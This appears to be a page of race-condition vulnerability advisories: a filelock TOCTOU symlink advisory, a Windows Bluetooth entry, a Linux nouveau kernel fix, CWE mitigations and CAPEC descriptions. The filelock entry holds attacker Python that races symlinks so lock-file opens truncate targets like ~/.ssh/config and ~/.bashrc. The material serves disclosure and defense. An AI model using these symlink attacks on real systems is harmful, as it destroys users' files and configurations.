os.O_TRUNC # (1) Prepare to truncate\n if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?\n open_flags |= os.O_CREAT\n fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate\n```\n\n**Windows** (`src/filelock/_windows.py:19-28`):\n\n```python\ndef _acquire(self) -\u003e None:\n raise_on_not_writable_file(self.lock_file) # (1) Check writability\n ensure_directory_exists(self.lock_file)\n flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate\n fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate\n```\n\n### The Race Window\n\nThe vulnerability exists in the gap between operations:\n\n**Unix variant:**\n\n```\nTime Victim Thread Attacker Thread\n---- ------------- ---------------\nT0 Check: lock_file exists? \u2192 False\nT1 \u2193 RACE WINDOW\nT2 Create symlink: lock \u2192 victim_file\nT3 Open lock_file with O_TRUNC\n \u2192 Follows symlink\n \u2192 Opens victim_file\n \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n**Windows variant:**\n\n```\nTime Victim Thread Attacker Thread\n---- ------------- ---------------\nT0 Check: lock_file writable?\nT1 \u2193 RACE WINDOW\nT2 Create symlink: lock \u2192 victim_file\nT3 Open lock_file with O_TRUNC\n \u2192 Follows symlink/junction\n \u2192 Opens victim_file\n \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n### Step-by-Step Attack Flow\n\n**1. Attacker Setup:**\n\n```python\n# Attacker identifies target application using filelock\nlock_path = \"/tmp/myapp.lock\" # Predictable lock path\nvictim_file = \"/home/victim/.ssh/config\" # High-value target\n```\n\n**2. Attacker Creates Race Condition:**\n\n```python\nimport os\nimport threading\n\n\ndef attacker_thread():\n # Remove any existing lock file\n try:\n os.unlink(lock_path)\n except FileNotFoundError:\n pass\n\n # Create symlink pointing to victim file\n os.symlink(victim_file, lock_path)\n print(f\"[Attacker] Created: {lock_path} \u2192 {victim_file}\")\n\n\n# Launch attack\nthreading.Thread(target=attacker_thread).start()\n```\n\n**3. Victim Application Runs:**\n\n```python\nfrom filelock import UnixFileLock\n\n# Normal application code\nlock = UnixFileLock(\"/tmp/myapp.lock\")\nlock.acquire() # \u2190 VULNERABILITY TRIGGERED HERE\n# At this point, /home/victim/.ssh/config is now 0 bytes!\n```\n\n**4. What Happens Inside os.open():**\n\nOn Unix systems, when `os.open()` is called:\n\n```c\n// Linux kernel behavior (simplified)\nint open(const char *pathname, int flags) {\n struct file *f = path_lookup(pathname); // Resolves symlinks by default!\n\n if (flags \u0026 O_TRUNC) {\n truncate_file(f); // \u2190 Truncates the TARGET of the symlink\n }\n\n return file_descriptor;\n}\n```\n\nWithout `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file.\n\n### Why the Attack Succeeds Reliably\n\n**Timing Characteristics:**\n\n- **Check operation** (Path.exists()): ~100-500 nanoseconds\n- **Symlink creation** (os.symlink()): ~1-10 microseconds\n- **Race window**: ~1-5 microseconds (very small but exploitable)\n- **Thread scheduling quantum**: ~1-10 milliseconds\n\n**Success factors:**\n\n1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts\n2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations\n3. **No synchronization**: No atomic file creation prevents the race\n4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation)\n\n### Real-World Attack Scenarios\n\n**Scenario 1: virtualenv Exploitation**\n\n```python\n# Victim runs: python -m venv /tmp/myenv\n# Attacker racing to create:\nos.symlink(\"/home/victim/.bashrc\", \"/tmp/myenv/pyvenv.cfg\")\n\n# Result: /home/victim/.bashrc overwritten with:\n# home = /usr/bin/python3\n# include-system-site-packages = false\n# version = 3.11.2\n# \u2190 Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker\n```\n\n**Scenario 2: PyTorch Cache Poisoning**\n\n```python\n# Victim runs: import torch\n# PyTorch checks CPU capabilities, uses filelock on cache\n# Attacker racing to create:\nos.symlink(\"/home/victim/.torch/compiled_model.pt\", \"/home/victim/.cache/torch/cpu_isa_check.lock\")\n\n# Result: Trained ML model checkpoint truncated to 0 bytes\n# Impact: Weeks of training lost, ML pipeline DoS\n```\n\n### Why Standard Defenses Don\u0027t Help\n\n**File permissions don\u0027t prevent this:**\n\n- Attacker doesn\u0027t need write access to victim_file\n- os.open() with O_TRUNC follows symlinks using the *victim\u0027s* permissions\n- The victim process truncates its own file\n\n**Directory permissions help but aren\u0027t always feasible:**\n\n- Lock files often created in shared /tmp directory (mode 1777)\n- Applications may not control lock file location\n- Many apps use predictable paths in user-writable directories\n\n**File locking doesn\u0027t prevent this:**\n\n- The truncation happens *during* the open() call, before any lock is acquired\n- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks\n\n### Exploitation Proof-of-Concept Results\n\nFrom empirical testing with the provided PoCs:\n\n**Simple Direct Attack** (`filelock_simple_poc.py`):\n\n- Success rate: 33% per attempt (1 in 3 tries)\n- Average attempts to success: 2.1\n- Target file reduced to 0 bytes in \\\u003c100ms\n\n**virtualenv Attack** (`weaponized_virtualenv.py`):\n\n- Success rate: ~90% on first attempt (deterministic timing)\n- Information leaked: File paths, Python version, system configuration\n- Data corruption: Complete loss of original file contents\n\n**PyTorch Attack** (`weaponized_pytorch.py`):\n\n- Success rate: 25-40% per attempt\n- Impact: Application crashes, model loading failures\n- Recovery: Requires cache rebuild or model retraining\n\n**Discovered and reported by:** George Tsigourakos (@tsigouris007)",
"id": "GHSA-w853-jp5j-5j7f",
"modified": "2025-12-16T20:52:55Z",
"published": "2025-12-16T20:52:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e"
},
{
"type": "PACKAGE",
"url": "https://github.com/tox-dev/filelock"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/releases/tag/3.20.1"
},
{
"type": "WEB",
"url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants"
},
{
"type": "WEB",
"url": "https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "filelock has a TOCTOU race condition which allows symlink attacks during lock file creation"
}
GHSA-W892-7G74-X2WG
Vulnerability from github – Published: 2022-04-16 00:00 – Updated: 2022-04-16 00:00Windows Bluetooth Driver Elevation of Privilege Vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-26828"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-15T19:15:00Z",
"severity": "HIGH"
},
"details": "Windows Bluetooth Driver Elevation of Privilege Vulnerability.",
"id": "GHSA-w892-7g74-x2wg",
"modified": "2022-04-16T00:00:30Z",
"published": "2022-04-16T00:00:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26828"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26828"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-26828"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W8H9-X2QC-V5QF
Vulnerability from github – Published: 2024-05-01 06:31 – Updated: 2024-07-03 18:38In the Linux kernel, the following vulnerability has been resolved:
nouveau: fix instmem race condition around ptr stores
Running a lot of VK CTS in parallel against nouveau, once every few hours you might see something like this crash.
BUG: kernel NULL pointer dereference, address: 0000000000000008 PGD 8000000114e6e067 P4D 8000000114e6e067 PUD 109046067 PMD 0 Oops: 0000 [#1] PREEMPT SMP PTI CPU: 7 PID: 53891 Comm: deqp-vk Not tainted 6.8.0-rc6+ #27 Hardware name: Gigabyte Technology Co., Ltd. Z390 I AORUS PRO WIFI/Z390 I AORUS PRO WIFI-CF, BIOS F8 11/05/2021 RIP: 0010:gp100_vmm_pgt_mem+0xe3/0x180 [nouveau] Code: c7 48 01 c8 49 89 45 58 85 d2 0f 84 95 00 00 00 41 0f b7 46 12 49 8b 7e 08 89 da 42 8d 2c f8 48 8b 47 08 41 83 c7 01 48 89 ee <48> 8b 40 08 ff d0 0f 1f 00 49 8b 7e 08 48 89 d9 48 8d 75 04 48 c1 RSP: 0000:ffffac20c5857838 EFLAGS: 00010202 RAX: 0000000000000000 RBX: 00000000004d8001 RCX: 0000000000000001 RDX: 00000000004d8001 RSI: 00000000000006d8 RDI: ffffa07afe332180 RBP: 00000000000006d8 R08: ffffac20c5857ad0 R09: 0000000000ffff10 R10: 0000000000000001 R11: ffffa07af27e2de0 R12: 000000000000001c R13: ffffac20c5857ad0 R14: ffffa07a96fe9040 R15: 000000000000001c FS: 00007fe395eed7c0(0000) GS:ffffa07e2c980000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000008 CR3: 000000011febe001 CR4: 00000000003706f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace:
...
? gp100_vmm_pgt_mem+0xe3/0x180 [nouveau] ? gp100_vmm_pgt_mem+0x37/0x180 [nouveau] nvkm_vmm_iter+0x351/0xa20 [nouveau] ? __pfx_nvkm_vmm_ref_ptes+0x10/0x10 [nouveau] ? __pfx_gp100_vmm_pgt_mem+0x10/0x10 [nouveau] ? __pfx_gp100_vmm_pgt_mem+0x10/0x10 [nouveau] ? __lock_acquire+0x3ed/0x2170 ? __pfx_gp100_vmm_pgt_mem+0x10/0x10 [nouveau] nvkm_vmm_ptes_get_map+0xc2/0x100 [nouveau] ? __pfx_nvkm_vmm_ref_ptes+0x10/0x10 [nouveau] ? __pfx_gp100_vmm_pgt_mem+0x10/0x10 [nouveau] nvkm_vmm_map_locked+0x224/0x3a0 [nouveau]
Adding any sort of useful debug usually makes it go away, so I hand wrote the function in a line, and debugged the asm.
Every so often pt->memory->ptrs is NULL. This ptrs ptr is set in the nv50_instobj_acquire called from nvkm_kmap.
If Thread A and Thread B both get to nv50_instobj_acquire around the same time, and Thread A hits the refcount_set line, and in lockstep thread B succeeds at refcount_inc_not_zero, there is a chance the ptrs value won't have been stored since refcount_set is unordered. Force a memory barrier here, I picked smp_mb, since we want it on all CPUs and it's write followed by a read.
v2: use paired smp_rmb/smp_wmb.
{
"affected": [],
"aliases": [
"CVE-2024-26984"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-01T06:15:15Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnouveau: fix instmem race condition around ptr stores\n\nRunning a lot of VK CTS in parallel against nouveau, once every\nfew hours you might see something like this crash.\n\nBUG: kernel NULL pointer dereference, address: 0000000000000008\nPGD 8000000114e6e067 P4D 8000000114e6e067 PUD 109046067 PMD 0\nOops: 0000 [#1] PREEMPT SMP PTI\nCPU: 7 PID: 53891 Comm: deqp-vk Not tainted 6.8.0-rc6+ #27\nHardware name: Gigabyte Technology Co., Ltd. Z390 I AORUS PRO WIFI/Z390 I AORUS PRO WIFI-CF, BIOS F8 11/05/2021\nRIP: 0010:gp100_vmm_pgt_mem+0xe3/0x180 [nouveau]\nCode: c7 48 01 c8 49 89 45 58 85 d2 0f 84 95 00 00 00 41 0f b7 46 12 49 8b 7e 08 89 da 42 8d 2c f8 48 8b 47 08 41 83 c7 01 48 89 ee \u003c48\u003e 8b 40 08 ff d0 0f 1f 00 49 8b 7e 08 48 89 d9 48 8d 75 04 48 c1\nRSP: 0000:ffffac20c5857838 EFLAGS: 00010202\nRAX: 0000000000000000 RBX: 00000000004d8001 RCX: 0000000000000001\nRDX: 00000000004d8001 RSI: 00000000000006d8 RDI: ffffa07afe332180\nRBP: 00000000000006d8 R08: ffffac20c5857ad0 R09: 0000000000ffff10\nR10: 0000000000000001 R11: ffffa07af27e2de0 R12: 000000000000001c\nR13: ffffac20c5857ad0 R14: ffffa07a96fe9040 R15: 000000000000001c\nFS: 00007fe395eed7c0(0000) GS:ffffa07e2c980000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000008 CR3: 000000011febe001 CR4: 00000000003706f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n\n...\n\n ? gp100_vmm_pgt_mem+0xe3/0x180 [nouveau]\n ? gp100_vmm_pgt_mem+0x37/0x180 [nouveau]\n nvkm_vmm_iter+0x351/0xa20 [nouveau]\n ? __pfx_nvkm_vmm_ref_ptes+0x10/0x10 [nouveau]\n ? __pfx_gp100_vmm_pgt_mem+0x10/0x10 [nouveau]\n ? __pfx_gp100_vmm_pgt_mem+0x10/0x10 [nouveau]\n ? __lock_acquire+0x3ed/0x2170\n ? __pfx_gp100_vmm_pgt_mem+0x10/0x10 [nouveau]\n nvkm_vmm_ptes_get_map+0xc2/0x100 [nouveau]\n ? __pfx_nvkm_vmm_ref_ptes+0x10/0x10 [nouveau]\n ? __pfx_gp100_vmm_pgt_mem+0x10/0x10 [nouveau]\n nvkm_vmm_map_locked+0x224/0x3a0 [nouveau]\n\nAdding any sort of useful debug usually makes it go away, so I hand\nwrote the function in a line, and debugged the asm.\n\nEvery so often pt-\u003ememory-\u003eptrs is NULL. This ptrs ptr is set in\nthe nv50_instobj_acquire called from nvkm_kmap.\n\nIf Thread A and Thread B both get to nv50_instobj_acquire around\nthe same time, and Thread A hits the refcount_set line, and in\nlockstep thread B succeeds at refcount_inc_not_zero, there is a\nchance the ptrs value won\u0027t have been stored since refcount_set\nis unordered. Force a memory barrier here, I picked smp_mb, since\nwe want it on all CPUs and it\u0027s write followed by a read.\n\nv2: use paired smp_rmb/smp_wmb.",
"id": "GHSA-w8h9-x2qc-v5qf",
"modified": "2024-07-03T18:38:01Z",
"published": "2024-05-01T06:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26984"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/13d76b2f443dc371842916dd8768009ff1594716"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1bc4825d4c3ec6abe43cf06c3c39d664d044cbf7"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/21ca9539f09360fd83654f78f2c361f2f5ddcb52"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3ab056814cd8ab84744c9a19ef51360b2271c572"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a019b44b1bc6ed224c46fb5f88a8a10dd116e525"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/ad74d208f213c06d860916ad40f609ade8c13039"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/bba8ec5e9b16649d85bc9e9086bf7ae5b5716ff9"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/fff1386cc889d8fb4089d285f883f8cba62d82ce"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
Mitigation
Use thread-safe capabilities such as the data access abstraction in Spring.
Mitigation
- Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
- Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
When using multithreading and operating on shared variables, only use thread-safe functions.
Mitigation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
Mitigation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
Mitigation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
Mitigation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
Mitigation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
CAPEC-26: Leveraging Race Conditions
The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.